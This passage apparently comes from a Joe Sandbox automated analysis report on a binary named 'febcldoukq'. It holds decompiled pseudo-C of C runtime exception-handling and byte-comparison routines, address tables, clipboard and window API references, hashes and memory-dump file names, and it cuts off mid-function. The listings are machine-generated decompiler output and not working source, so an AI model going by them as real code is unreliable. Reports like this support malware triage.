														_t155 = E00B21C6E(_t202, _t204, _t216, _t218, _t225);
														__eflags =  *(_t155 + 0x1c);
														if( *(_t155 + 0x1c) != 0) {
															goto L67;
														} else {
															goto L61;
														}
													} else {
														_t160 = _t218[8] >> 2;
														__eflags = _t218[7];
														if(_t218[7] != 0) {
															__eflags = _t160 & 0x00000001;
															if((_t160 & 0x00000001) == 0) {
																_push(_t218[7]);
																_t161 = E00B27642();
																_t204 = _t202;
																__eflags = _t161;
																if(_t161 == 0) {
																	goto L64;
																} else {
																	goto L60;
																}
															} else {
																goto L54;
															}
														} else {
															__eflags = _t160 & 0x00000001;
															if((_t160 & 0x00000001) == 0) {
																goto L60;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L60;
																} else {
																	L54:
																	 *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, _t225) + 0x10)) = _t202;
																	_t169 = E00B21C6E(_t202, _t204, _t216, _t218, _t225);
																	_t206 = _v8;
																	 *((intOrPtr*)(_t169 + 0x14)) = _v8;
																	goto L62;
																}
															}
														}
													}
												} else {
													__eflags =  *((intOrPtr*)(_t202 + 0x14)) - 0x19930521;
													if( *((intOrPtr*)(_t202 + 0x14)) == 0x19930521) {
														goto L29;
													} else {
														__eflags =  *((intOrPtr*)(_t202 + 0x14)) - 0x19930522;
														if( *((intOrPtr*)(_t202 + 0x14)) != 0x19930522) {
															goto L57;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, _t225) + 0x1c));
										_t196 = E00B21C6E(_t202, _t204, _t216, _t218, _t225);
										_push(_v16);
										 *(_t196 + 0x1c) = _t225;
										_t197 = E00B27642();
										_t206 = _t202;
										if(_t197 != 0) {
											goto L23;
										} else {
											_t218 = _v16;
											_t255 =  *_t218 - _t225;
											if( *_t218 <= _t225) {
												L62:
												E00B2117B(_t202, _t206, _t216, _t218, _t225, __eflags);
											} else {
												while(1) {
													_t206 =  *((intOrPtr*)(_t225 + _t218[1] + 4));
													if(E00B2740A( *((intOrPtr*)(_t225 + _t218[1] + 4)), _t255, 0xb348c0) != 0) {
														goto L63;
													}
													_t225 = _t225 + 0x10;
													_t201 = _v20 + 1;
													_v20 = _t201;
													_t255 = _t201 -  *_t218;
													if(_t201 >=  *_t218) {
														goto L62;
													} else {
														continue;
													}
													goto L63;
												}
											}
											L63:
											_push(1);
											_push(_t202);
											E00B1DC55(_t202, _t218, _t225, __eflags);
											_t204 =  &_v64;
											E00B273C6( &_v64);
											E00B28D05( &_v64, 0xb3328c);
											L64:
											 *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, _t225) + 0x10)) = _t202;
											_t163 = E00B21C6E(_t202, _t204, _t216, _t218, _t225);
											_t204 = _v8;
											 *(_t163 + 0x14) = _v8;
											__eflags = _t225;
											if(_t225 == 0) {
												_t225 = _a8;
											}
											E00B2425E(_t204, _t225, _t202);
											L00B2731A(_a8, _a16, _t218);
											_t166 = E00B27332(_t218);
											_t235 = _t235 + 0x10;
											_push(_t166);
											E00B276DC(_t202, _t204, _t216, _t218, _t225, __eflags);
											goto L67;
										}
									}
								}
							}
						}
					}
				}
			}

0x00b27a82
0x00b27a8b
0x00b27a94
0x00b27a9a
0x00b27aa2
0x00b27aa4
0x00b27aa7
0x00b27aad
0x00b27e21
0x00b27e21
0x00b27e26
0x00b27e2a
0x00b27e2e
0x00b27e2f
0x00b27e32
0x00b27e33
0x00b27e34
0x00b27e37
0x00b27e39
0x00b27e3c
0x00b27e3d
0x00b27e3e
0x00b27e41
0x00b27e46
0x00b27e46
0x00b27e49
0x00b27e4c
0x00b27e4e
0x00b27e50
0x00b27e50
0x00b27e56
0x00b27e5b
0x00b27e5e
0x00b27e60
0x00b27e63
0x00b27e66
0x00b27e67
0x00b27e75
0x00b27e7a
0x00b27e7f
0x00b27e82
0x00b27e85
0x00b27e88
0x00b27e8b
0x00b27e8c
0x00b27e8f
0x00b27e97
0x00b27e99
0x00b27e9d
0x00000000
0x00b27e9d
0x00b27ea6
0x00b27abc
0x00b27abc
0x00b27ac5
0x00b27bc2
0x00b27bc2
0x00b27bc5
0x00000000
0x00b27af4
0x00b27af4
0x00b27af9
0x00000000
0x00b27aff
0x00b27aff
0x00b27b07
0x00b27dbf
0x00b27dbf
0x00b27b0d
0x00b27b12
0x00b27b15
0x00b27b1a
0x00b27b21
0x00b27b26
0x00000000
0x00b27b5e
0x00b27b66
0x00b27bca
0x00b27bca
0x00b27bcd
0x00b27bd0
0x00b27bd2
0x00b27bd5
0x00b27bd8
0x00b27bde
0x00b27d8a
0x00b27d8a
0x00b27d8d
0x00000000
0x00b27d8f
0x00b27d8f
0x00b27d92
0x00000000
0x00b27d98
0x00b27da8
0x00b27dad
0x00000000
0x00b27dad
0x00b27d92
0x00b27be4
0x00b27be4
0x00b27be8
0x00000000
0x00b27bee
0x00b27bee
0x00b27bf5
0x00b27c0d
0x00b27c0d
0x00b27c10
0x00b27c13
0x00b27c29
0x00b27c2e
0x00b27c31
0x00b27c34
0x00b27c37
0x00b27c3a
0x00b27c3d
0x00b27c40
0x00b27c46
0x00b27c46
0x00b27c49
0x00b27c4c
0x00b27c5b
0x00b27c5c
0x00b27c5c
0x00b27c5e
0x00b27c61
0x00b27c67
0x00b27c6a
0x00b27c70
0x00b27c72
0x00b27c75
0x00b27c78
0x00b27c7e
0x00b27c81
0x00b27c86
0x00b27c86
0x00b27c89
0x00b27c8c
0x00b27c8f
0x00b27c92
0x00b27c95
0x00b27c9a
0x00b27c9b
0x00b27c9c
0x00b27c9d
0x00b27c9e
0x00b27ca1
0x00b27ca4
0x00b27ca6
0x00000000
0x00b27ca8
0x00b27ca8
0x00b27caf
0x00b27cb4
0x00b27cb7
0x00b27cb9
0x00000000
0x00000000
0x00b27cbb
0x00b27cbe
0x00b27cbf
0x00b27cc2
0x00b27cc4
0x00000000
0x00b27cc6
0x00b27cc6
0x00b27cc9
0x00000000
0x00b27cc9
0x00000000
0x00b27cc4
0x00b27cdd
0x00b27ce3
0x00b27ce6
0x00b27ce9
0x00b27cec
0x00b27ced
0x00b27cf2
0x00b27cf3
0x00b27cf6
0x00b27cf9
0x00b27cfc
0x00b27cff
0x00b27d00
0x00b27d05
0x00b27d05
0x00b27d08
0x00b27d08
0x00000000
0x00b27ccc
0x00b27ccc
0x00b27ccd
0x00b27cd0
0x00b27cd3
0x00b27cd6
0x00b27cd6
0x00000000
0x00b27cdb
0x00b27c78
0x00b27c6a
0x00b27d0b
0x00b27d0e
0x00b27d0f
0x00b27d12
0x00b27d15
0x00b27d18
0x00b27d1b
0x00b27d1b
0x00b27d24
0x00b27d27
0x00b27d27
0x00b27c40
0x00b27d2a
0x00b27d2e
0x00b27d30
0x00b27d33
0x00b27d39
0x00b27d39
0x00b27d41
0x00b27d46
0x00b27db0
0x00b27db0
0x00b27db5
0x00b27db9
0x00000000
0x00000000
0x00000000
0x00000000
0x00b27d48
0x00b27d4b
0x00b27d4e
0x00b27d52
0x00b27d60
0x00b27d62
0x00b27d79
0x00b27d7d
0x00b27d83
0x00b27d84
0x00b27d86
0x00000000
0x00b27d88
0x00000000
0x00b27d88
0x00000000
0x00000000
0x00000000
0x00b27d54
0x00b27d54
0x00b27d56
0x00000000
0x00b27d58
0x00b27d58
0x00b27d5c
0x00000000
0x00b27d5e
0x00b27d64
0x00b27d69
0x00b27d6c
0x00b27d71
0x00b27d74
0x00000000
0x00b27d74
0x00b27d5c
0x00b27d56
0x00b27d52
0x00b27bf7
0x00b27bf7
0x00b27bfe
0x00000000
0x00b27c00
0x00b27c00
0x00b27c07
0x00000000
0x00000000
0x00000000
0x00000000
0x00b27c07
0x00b27bfe
0x00b27bf5
0x00b27be8
0x00b27b68
0x00b27b70
0x00b27b73
0x00b27b78
0x00b27b7c
0x00b27b7f
0x00b27b85
0x00b27b88
0x00000000
0x00b27b8a
0x00b27b8a
0x00b27b8d
0x00b27b8f
0x00b27dc0
0x00b27dc0
0x00000000
0x00b27b95
0x00b27b9d
0x00b27ba8
0x00000000
0x00000000
0x00b27bb1
0x00b27bb4
0x00b27bb5
0x00b27bb8
0x00b27bba
0x00000000
0x00b27bc0
0x00000000
0x00b27bc0
0x00000000
0x00b27bba
0x00b27b95
0x00b27dc5
0x00b27dc5
0x00b27dc7
0x00b27dc8
0x00b27dcf
0x00b27dd2
0x00b27de0
0x00b27de5
0x00b27dea
0x00b27ded
0x00b27df2
0x00b27df5
0x00b27df8
0x00b27dfa
0x00b27dfc
0x00b27dfc
0x00b27e01
0x00b27e0d
0x00b27e13
0x00b27e18
0x00b27e1b
0x00b27e1c
0x00000000
0x00b27e1c
0x00b27b88
0x00b27b66
0x00b27b26
0x00b27b07
0x00b27af9
0x00b27ac5

APIs

type_info::operator==.LIBVCRUNTIME ref: 00B27BA1
___TypeMatch.LIBVCRUNTIME ref: 00B27CAF
CatchIt.LIBVCRUNTIME ref: 00B27D00
_UnwindNestedFrames.LIBCMT ref: 00B27E01
CallUnexpected.LIBVCRUNTIME ref: 00B27E1C

Strings

csm, xrefs: 00B27B2C
csm, xrefs: 00B27BD8
csm, xrefs: 00B27ABF

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: ebb400a31adb7003bdb5150fba62a52f837cabdb15d561c697f14c6e981a22cd
Instruction ID: 97b43137f7e301639c4cd33782b004d2b64bf15b0f3ea7417e2308f7a829b332
Opcode Fuzzy Hash: ebb400a31adb7003bdb5150fba62a52f837cabdb15d561c697f14c6e981a22cd
Instruction Fuzzy Hash: 76B1AD71844229DFCF15DFA4E8808AEBBF5FF18310F1045EAE8086B212DB31DA51CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00B1AA00 Relevance: 12.2, APIs: 8, Instructions: 181clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00B1AA6A
EmptyClipboard.USER32 ref: 00B1AA81
GlobalAlloc.KERNEL32 ref: 00B1AA9F
GlobalLock.KERNEL32 ref: 00B1AABB

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ClipboardGlobal$AllocEmptyLockOpen
String ID:
API String ID: 3590494090-0
Opcode ID: 388e12dc2a367433de6c31a46f195d493a807d502f81e8c979c13e683df7f7cc
Instruction ID: 148d87ec92aee4a9ab012c5760a78b4c8e77ab779347e1a1a60932886ffa06b6
Opcode Fuzzy Hash: 388e12dc2a367433de6c31a46f195d493a807d502f81e8c979c13e683df7f7cc
Instruction Fuzzy Hash: AA81E274A042199FCB04DFA8C588AEDBBF0FF08315F1484A9E889EB351E734E981CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00B1A250 Relevance: 12.1, APIs: 8, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00B1A31C
GetFocus.USER32 ref: 00B1A33E
HideCaret.USER32 ref: 00B1A36D
InvertRect.USER32 ref: 00B1A383
InvertRect.USER32 ref: 00B1A3DA
ReleaseDC.USER32 ref: 00B1A3F6
GetFocus.USER32 ref: 00B1A40B
ShowCaret.USER32 ref: 00B1A43A

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: CaretFocusInvertRect$HideReleaseShow
String ID:
API String ID: 1353628544-0
Opcode ID: 01fa9d307017d2deb0d78e0cc3963e8147539135a47bc78bc5908b1c9a77ec9f
Instruction ID: b2d7c61ac96245a3a10b26f6c3230080128124e68e93ba239460d6edf08e2173
Opcode Fuzzy Hash: 01fa9d307017d2deb0d78e0cc3963e8147539135a47bc78bc5908b1c9a77ec9f
Instruction Fuzzy Hash: FF619274A00209DFCB04DF68D188AAEBBF5FF08311F5184A9E8499B351E735ED85CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B12980 Relevance: 10.7, APIs: 7, Instructions: 190COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00B129C6

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: CreateEvent
String ID:
API String ID: 2692171526-0
Opcode ID: 69d9af216d6dcc409a4ecc076f062cf83dbb5dccf0f97b01d90bb490ca8c9559
Instruction ID: d5684fcfef72fb372939385594a581dd5a49520700666b437935cc04b5fb81ee
Opcode Fuzzy Hash: 69d9af216d6dcc409a4ecc076f062cf83dbb5dccf0f97b01d90bb490ca8c9559
Instruction Fuzzy Hash: 4891C6B0908205DFDB04DFA9D4887EEBBF0FB44304F50886AE8559B390D7799599CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00B1DED0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00B1DED0(void* __ebx, void* __ecx, intOrPtr __edx, signed char* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed char* _v0;
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				void* __edi;
				void* __esi;
				signed int _t1005;
				signed int _t1012;
				intOrPtr _t1013;
				void* _t1014;
				signed char* _t1015;
				intOrPtr _t1017;
				signed int _t1020;
				signed int _t1021;
				signed int _t1022;
				signed int _t1025;
				signed int _t1028;
				signed int _t1032;
				signed char _t1049;
				signed char _t1052;
				signed char _t1053;
				signed char _t1054;
				signed char _t1055;
				signed char _t1056;
				signed int _t1245;
				intOrPtr* _t1249;
				intOrPtr _t1250;
				void* _t1252;
				signed int _t1256;
				char _t1258;
				signed int _t1262;
				signed int _t1263;
				signed int _t1270;
				signed char* _t1336;
				signed char* _t1337;
				signed char* _t1338;
				signed char* _t1339;
				signed char* _t1340;
				void* _t1341;
				intOrPtr _t1342;
				signed int _t1344;
				intOrPtr _t1347;
				signed char* _t1350;
				signed char* _t1351;
				signed char* _t1352;
				signed char* _t1353;
				signed char* _t1354;
				signed int _t1355;
				void* _t1359;
				void* _t1360;
				void* _t1367;

				_t1333 = __edx;
				_t1249 = _a4;
				_push(_t1341);
				_v5 = 0;
				_v16 = 1;
				 *_t1249 = E00B2AEA1(__ecx,  *_t1249);
				_t1250 = _a8;
				_t6 = _t1250 + 0x10; // 0x11
				_t1347 = _t6;
				_push(_t1347);
				_v20 = _t1347;
				_v12 =  *(_t1250 + 8) ^  *0xb34050;
				E00B1DE90(_t1250, __edx, _t1341, _t1347,  *(_t1250 + 8) ^  *0xb34050);
				E00B220D7(_a12);
				_t1005 = _a4;
				_t1360 = _t1359 + 0x10;
				_t1342 =  *((intOrPtr*)(_t1250 + 0xc));
				if(( *(_t1005 + 4) & 0x00000066) != 0) {
					__eflags = _t1342 - 0xfffffffe;
					if(_t1342 != 0xfffffffe) {
						_t1333 = 0xfffffffe;
						E00B220C0(_t1250, 0xfffffffe, _t1347, 0xb34050);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t1005;
					_v28 = _a12;
					 *((intOrPtr*)(_t1250 - 4)) =  &_v32;
					if(_t1342 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t1256 = _v12;
							_t1012 = _t1342 + (_t1342 + 2) * 2;
							_t1250 =  *((intOrPtr*)(_t1256 + _t1012 * 4));
							_t1013 = _t1256 + _t1012 * 4;
							_t1257 =  *((intOrPtr*)(_t1013 + 4));
							_v24 = _t1013;
							if( *((intOrPtr*)(_t1013 + 4)) == 0) {
								_t1258 = _v5;
								goto L7;
							} else {
								_t1333 = _t1347;
								_t1014 = E00B22060(_t1257, _t1347);
								_t1258 = 1;
								_v5 = 1;
								_t1367 = _t1014;
								if(_t1367 < 0) {
									_v16 = 0;
									L13:
									_push(_t1347);
									E00B1DE90(_t1250, _t1333, _t1342, _t1347, _v12);
									goto L14;
								} else {
									if(_t1367 > 0) {
										_t1015 = _a4;
										__eflags =  *_t1015 - 0xe06d7363;
										if( *_t1015 == 0xe06d7363) {
											__eflags =  *0xb2c628;
											if(__eflags != 0) {
												_t1245 = E00B21EB0(__eflags, 0xb2c628);
												_t1360 = _t1360 + 4;
												__eflags = _t1245;
												if(_t1245 != 0) {
													_t1355 =  *0xb2c628; // 0xb1dc55
													 *0xb37000(_a4, 1);
													 *_t1355();
													_t1347 = _v20;
													_t1360 = _t1360 + 8;
												}
												_t1015 = _a4;
											}
										}
										_t1334 = _t1015;
										E00B220A0(_t1015, _a8, _t1015);
										_t1017 = _a8;
										__eflags =  *((intOrPtr*)(_t1017 + 0xc)) - _t1342;
										if( *((intOrPtr*)(_t1017 + 0xc)) != _t1342) {
											_t1334 = _t1342;
											E00B220C0(_t1017, _t1342, _t1347, 0xb34050);
											_t1017 = _a8;
										}
										_push(_t1347);
										 *((intOrPtr*)(_t1017 + 0xc)) = _t1250;
										E00B1DE90(_t1250, _t1334, _t1342, _t1347, _v12);
										E00B22080();
										asm("int3");
										_push(_t1347);
										_push(_t1342);
										_t1344 = _v32;
										_t1020 = _t1344;
										__eflags = _t1020;
										if(_t1020 == 0) {
											_t1021 = 0;
											__eflags = 0;
										} else {
											_t1022 = _t1020 - 1;
											__eflags = _t1022;
											if(_t1022 == 0) {
												_t1262 =  *_v0 & 0x000000ff;
												_t1025 =  *_a4 & 0x000000ff;
												goto L511;
											} else {
												_t1028 = _t1022 - 1;
												__eflags = _t1028;
												if(_t1028 == 0) {
													_t1336 = _v0;
													_t1350 = _a4;
													_t1263 = ( *_t1336 & 0x000000ff) - ( *_t1350 & 0x000000ff);
													__eflags = _t1263;
													if(_t1263 != 0) {
														__eflags = _t1263;
														_t993 = _t1263 > 0;
														__eflags = _t993;
														_t1263 = (0 | _t993) * 2 - 1;
													}
													__eflags = _t1263;
													if(__eflags != 0) {
														goto L513;
													} else {
														_t1262 = _t1336[1] & 0x000000ff;
														_t1025 = _t1350[1] & 0x000000ff;
														goto L511;
													}
													goto L529;
												} else {
													_t1032 = _t1028 - 1;
													__eflags = _t1032;
													if(_t1032 == 0) {
														_t1337 = _v0;
														_t1351 = _a4;
														_t1263 = ( *_t1337 & 0x000000ff) - ( *_t1351 & 0x000000ff);
														__eflags = _t1263;
														if(_t1263 != 0) {
															__eflags = _t1263;
															_t979 = _t1263 > 0;
															__eflags = _t979;
															_t1263 = (0 | _t979) * 2 - 1;
														}
														__eflags = _t1263;
														if(_t1263 != 0) {
															goto L513;
														} else {
															_t1263 = (_t1337[1] & 0x000000ff) - (_t1351[1] & 0x000000ff);
															__eflags = _t1263;
															if(_t1263 != 0) {
																__eflags = _t1263;
																_t985 = _t1263 > 0;
																__eflags = _t985;
																_t1263 = (0 | _t985) * 2 - 1;
															}
															__eflags = _t1263;
															if(_t1263 != 0) {
																goto L513;
															} else {
																_t1262 = _t1337[2] & 0x000000ff;
																_t1025 = _t1351[2] & 0x000000ff;
																goto L511;
															}
														}
														goto L529;
													} else {
														__eflags = _t1032 == 1;
														if(_t1032 == 1) {
															_t1338 = _v0;
															_t1352 = _a4;
															_t1263 = ( *_t1338 & 0x000000ff) - ( *_t1352 & 0x000000ff);
															__eflags = _t1263;
															if(_t1263 != 0) {
																__eflags = _t1263;
																_t955 = _t1263 > 0;
																__eflags = _t955;
																_t1263 = (0 | _t955) * 2 - 1;
															}
															__eflags = _t1263;
															if(_t1263 == 0) {
																_t1263 = (_t1338[1] & 0x000000ff) - (_t1352[1] & 0x000000ff);
																__eflags = _t1263;
																if(_t1263 != 0) {
																	__eflags = _t1263;
																	_t961 = _t1263 > 0;
																	__eflags = _t961;
																	_t1263 = (0 | _t961) * 2 - 1;
																}
																__eflags = _t1263;
																if(_t1263 == 0) {
																	_t1263 = (_t1338[2] & 0x000000ff) - (_t1352[2] & 0x000000ff);
																	__eflags = _t1263;
																	if(_t1263 != 0) {
																		__eflags = _t1263;
																		_t967 = _t1263 > 0;
																		__eflags = _t967;
																		_t1263 = (0 | _t967) * 2 - 1;
																	}
																	__eflags = _t1263;
																	if(_t1263 == 0) {
																		_t1262 = _t1338[3] & 0x000000ff;
																		_t1025 = _t1352[3] & 0x000000ff;
																		L511:
																		_t1263 = _t1262 - _t1025;
																		__eflags = _t1263;
																		if(_t1263 != 0) {
																			__eflags = _t1263;
																			_t973 = _t1263 > 0;
																			__eflags = _t973;
																			_t1263 = (0 | _t973) * 2 - 1;
																		}
																	}
																}
															}
															L513:
															_t1021 = _t1263;
														} else {
															_t1339 = _a4;
															_t1353 = _v0;
															_push(_t1250);
															_t1252 = 0x20;
															while(1) {
																__eflags = _t1344 - _t1252;
																if(_t1344 < _t1252) {
																	break;
																}
																_t1049 =  *_t1353;
																__eflags = _t1049 -  *_t1339;
																if(_t1049 ==  *_t1339) {
																	L42:
																	__eflags = _t1353[4] - _t1339[4];
																	if(_t1353[4] == _t1339[4]) {
																		L55:
																		__eflags = _t1353[8] - _t1339[8];
																		if(_t1353[8] == _t1339[8]) {
																			L68:
																			_t1052 = _t1353[0xc];
																			__eflags = _t1052 - _t1339[0xc];
																			if(_t1052 == _t1339[0xc]) {
																				L81:
																				_t1053 = _t1353[0x10];
																				__eflags = _t1053 - _t1339[0x10];
																				if(_t1053 == _t1339[0x10]) {
																					L94:
																					_t1054 = _t1353[0x14];
																					__eflags = _t1054 - _t1339[0x14];
																					if(_t1054 == _t1339[0x14]) {
																						L107:
																						_t1055 = _t1353[0x18];
																						__eflags = _t1055 - _t1339[0x18];
																						if(_t1055 == _t1339[0x18]) {
																							L120:
																							_t1056 = _t1353[0x1c];
																							__eflags = _t1056 - _t1339[0x1c];
																							if(_t1056 == _t1339[0x1c]) {
																								L133:
																								_t1353 =  &(_t1353[_t1252]);
																								_t1339 =  &(_t1339[_t1252]);
																								_t1344 = _t1344 - _t1252;
																								__eflags = _t1344;
																								continue;
																							} else {
																								_t1270 = (_t1056 & 0x000000ff) - (_t1339[0x1c] & 0x000000ff);
																								__eflags = _t1270;
																								if(_t1270 != 0) {
																									__eflags = _t1270;
																									_t228 = _t1270 > 0;
																									__eflags = _t228;
																									_t1270 = (0 | _t228) * 2 - 1;
																								}
																								__eflags = _t1270;
																								if(_t1270 == 0) {
																									_t1270 = (_t1353[0x1d] & 0x000000ff) - (_t1339[0x1d] & 0x000000ff);
																									__eflags = _t1270;
																									if(_t1270 != 0) {
																										__eflags = _t1270;
																										_t234 = _t1270 > 0;
																										__eflags = _t234;
																										_t1270 = (0 | _t234) * 2 - 1;
																									}
																									__eflags = _t1270;
																									if(_t1270 == 0) {
																										_t1270 = (_t1353[0x1e] & 0x000000ff) - (_t1339[0x1e] & 0x000000ff);
																										__eflags = _t1270;
																										if(_t1270 != 0) {
																											__eflags = _t1270;
																											_t240 = _t1270 > 0;
																											__eflags = _t240;
																											_t1270 = (0 | _t240) * 2 - 1;
																										}
																										__eflags = _t1270;
																										if(_t1270 == 0) {
																											_t1270 = (_t1353[0x1f] & 0x000000ff) - (_t1339[0x1f] & 0x000000ff);
																											__eflags = _t1270;
																											if(_t1270 != 0) {
																												__eflags = _t1270;
																												_t246 = _t1270 > 0;
																												__eflags = _t246;
																												_t1270 = (0 | _t246) * 2 - 1;
																											}
																											__eflags = _t1270;
																											if(_t1270 == 0) {
																												goto L133;
																											}
																										}
																									}
																								}
																							}
																						} else {
																							_t1270 = (_t1055 & 0x000000ff) - (_t1339[0x18] & 0x000000ff);
																							__eflags = _t1270;
																							if(_t1270 != 0) {
																								__eflags = _t1270;
																								_t203 = _t1270 > 0;
																								__eflags = _t203;
																								_t1270 = (0 | _t203) * 2 - 1;
																							}
																							__eflags = _t1270;
																							if(_t1270 == 0) {
																								_t1270 = (_t1353[0x19] & 0x000000ff) - (_t1339[0x19] & 0x000000ff);
																								__eflags = _t1270;
																								if(_t1270 != 0) {
																									__eflags = _t1270;
																									_t209 = _t1270 > 0;
																									__eflags = _t209;
																									_t1270 = (0 | _t209) * 2 - 1;
																								}
																								__eflags = _t1270;
																								if(_t1270 == 0) {
																									_t1270 = (_t1353[0x1a] & 0x000000ff) - (_t1339[0x1a] & 0x000000ff);
																									__eflags = _t1270;
																									if(_t1270 != 0) {
																										__eflags = _t1270;
																										_t215 = _t1270 > 0;
																										__eflags = _t215;
																										_t1270 = (0 | _t215) * 2 - 1;
																									}
																									__eflags = _t1270;
																									if(_t1270 == 0) {
																										_t1270 = (_t1353[0x1b] & 0x000000ff) - (_t1339[0x1b] & 0x000000ff);
																										__eflags = _t1270;
																										if(_t1270 != 0) {
																											__eflags = _t1270;
																											_t221 = _t1270 > 0;
																											__eflags = _t221;
																											_t1270 = (0 | _t221) * 2 - 1;
																										}
																										__eflags = _t1270;
																										if(_t1270 == 0) {
																											goto L120;
																										}
																									}
																								}
																							}
																						}
																					} else {
																						_t1270 = (_t1054 & 0x000000ff) - (_t1339[0x14] & 0x000000ff);
																						__eflags = _t1270;
																						if(_t1270 != 0) {
																							__eflags = _t1270;
																							_t178 = _t1270 > 0;
																							__eflags = _t178;
																							_t1270 = (0 | _t178) * 2 - 1;
																						}
																						__eflags = _t1270;
																						if(_t1270 == 0) {
																							_t1270 = (_t1353[0x15] & 0x000000ff) - (_t1339[0x15] & 0x000000ff);
																							__eflags = _t1270;
																							if(_t1270 != 0) {
																								__eflags = _t1270;
																								_t184 = _t1270 > 0;
																								__eflags = _t184;
																								_t1270 = (0 | _t184) * 2 - 1;
																							}
																							__eflags = _t1270;
																							if(_t1270 == 0) {
																								_t1270 = (_t1353[0x16] & 0x000000ff) - (_t1339[0x16] & 0x000000ff);
																								__eflags = _t1270;
																								if(_t1270 != 0) {
																									__eflags = _t1270;
																									_t190 = _t1270 > 0;
																									__eflags = _t190;
																									_t1270 = (0 | _t190) * 2 - 1;
																								}
																								__eflags = _t1270;
																								if(_t1270 == 0) {
																									_t1270 = (_t1353[0x17] & 0x000000ff) - (_t1339[0x17] & 0x000000ff);
																									__eflags = _t1270;
																									if(_t1270 != 0) {
																										__eflags = _t1270;
																										_t196 = _t1270 > 0;
																										__eflags = _t196;
																										_t1270 = (0 | _t196) * 2 - 1;
																									}
																									__eflags = _t1270;
																									if(_t1270 == 0) {
																										goto L107;
																									}
																								}
																							}
																						}
																					}
																				} else {
																					_t1270 = (_t1053 & 0x000000ff) - (_t1339[0x10] & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t153 = _t1270 > 0;
																						__eflags = _t153;
																						_t1270 = (0 | _t153) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						_t1270 = (_t1353[0x11] & 0x000000ff) - (_t1339[0x11] & 0x000000ff);
																						__eflags = _t1270;
																						if(_t1270 != 0) {
																							__eflags = _t1270;
																							_t159 = _t1270 > 0;
																							__eflags = _t159;
																							_t1270 = (0 | _t159) * 2 - 1;
																						}
																						__eflags = _t1270;
																						if(_t1270 == 0) {
																							_t1270 = (_t1353[0x12] & 0x000000ff) - (_t1339[0x12] & 0x000000ff);
																							__eflags = _t1270;
																							if(_t1270 != 0) {
																								__eflags = _t1270;
																								_t165 = _t1270 > 0;
																								__eflags = _t165;
																								_t1270 = (0 | _t165) * 2 - 1;
																							}
																							__eflags = _t1270;
																							if(_t1270 == 0) {
																								_t1270 = (_t1353[0x13] & 0x000000ff) - (_t1339[0x13] & 0x000000ff);
																								__eflags = _t1270;
																								if(_t1270 != 0) {
																									__eflags = _t1270;
																									_t171 = _t1270 > 0;
																									__eflags = _t171;
